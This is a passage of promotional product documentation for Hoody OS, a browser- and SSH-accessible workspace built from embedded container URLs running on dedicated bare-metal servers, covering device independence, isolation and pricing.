- **Hoody Home** — Dashboard, project launcher
- **Hoody Console** — Server management, container administration
- **Hoody Workspaces** — Draggable windows: terminals, editors, file browsers, AI agents, displays, databases

Every window is an iframe to a container service URL. The terminal window loads the terminal URL. The editor loads the code URL. Hoody OS is pure composition — URLs arranged in floating windows. We built the entire OS in under 5 days because of this. When everything is embeddable, an operating system is just a window manager.

**Hoody OS itself runs on a Hoody container.** The OS managing your containers is a container. Embeddable. Shareable. Multiplayer. You can iframe the OS inside another OS.

```bash
ssh hoody.com
```

Full Hoody OS in your terminal. A complete terminal-based browser rendering the same floating-window interface as a TUI. No username. No password. Login screen, then your full environment. From a Raspberry Pi. From a phone terminal app. If it holds an SSH connection, it runs Hoody OS.

---

## Device Independence Is a Solved Problem

Your computing environment is already online. Not synced. Not mirrored. The real thing, running on your server 24/7.

Open a browser anywhere → full environment. `ssh hoody.com` from any terminal → full environment. Your laptop dies → buy any device, log in, everything is there. Not "I can access my files from my phone." Your entire computing life — every process, every AI conversation, every database, every deployment — already exists at URLs, already running.

The question "did you bring your laptop?" is meaningless. You left your computing environment running at a URL. You just need anything with a browser to look at it.

---

## Bare Metal. Your Server. Your Privacy.

Not a shared VM. Not multi-tenant infrastructure. **Physical bare metal servers from the Hoody marketplace.** Your hardware. Nobody else's containers, workloads, or data on it. The hypervisor isn't shared. The host OS isn't shared.

In the AI era — when agents write and execute code you haven't fully reviewed — isolation isn't optional. Each project, each experiment, each AI task runs in its own container on hardware you control. One compromised environment doesn't touch the others.

Your data sits on a physical disk in a specific rack. Not "somewhere in us-east-1." You still get every convenience — automatic HTTPS, HTTP/2, HTTP/3, instant access from any device — but the hardware is yours and the isolation is real.

---

## Economics: Infinite Containers, One Server

The VPS model charges per isolated server. Dev, staging, production? $120/month for three boxes sitting idle 90% of the time.

Hoody: one bare metal server, infinite containers. Dev, staging, production, experiments, AI playgrounds, demo environments — all from one machine. The cost of experimentation drops to zero. The cost of spinning up a new project drops to zero.

---

## The Vibe

No installation. No configuration. No sync. No "works on my machine." No lost work. No device lock-in. No protocol mismatches. No certificate headaches. No deployment rituals.

URLs. To everything. From anywhere. On anything.

Your server runs. Your containers run. Your AI agents run. 24/7. When you want to look, from any device, you open a URL and you're there.

You describe what you want. It's running before you finish describing it. You share a link. Someone else is looking at it. You close your device. It keeps running.

> **Everything you need. Nothing installed.**
> **From anywhere. On anything.**
> **Your server. Your privacy. Your URLs.**

**Next:** [Understanding Hoody →](/vision/obsolescence/) | [The HTTP Revolution →](/vision/http-revolution/) | [The Embeddability Revolution →](/vision/embeddability/)

---

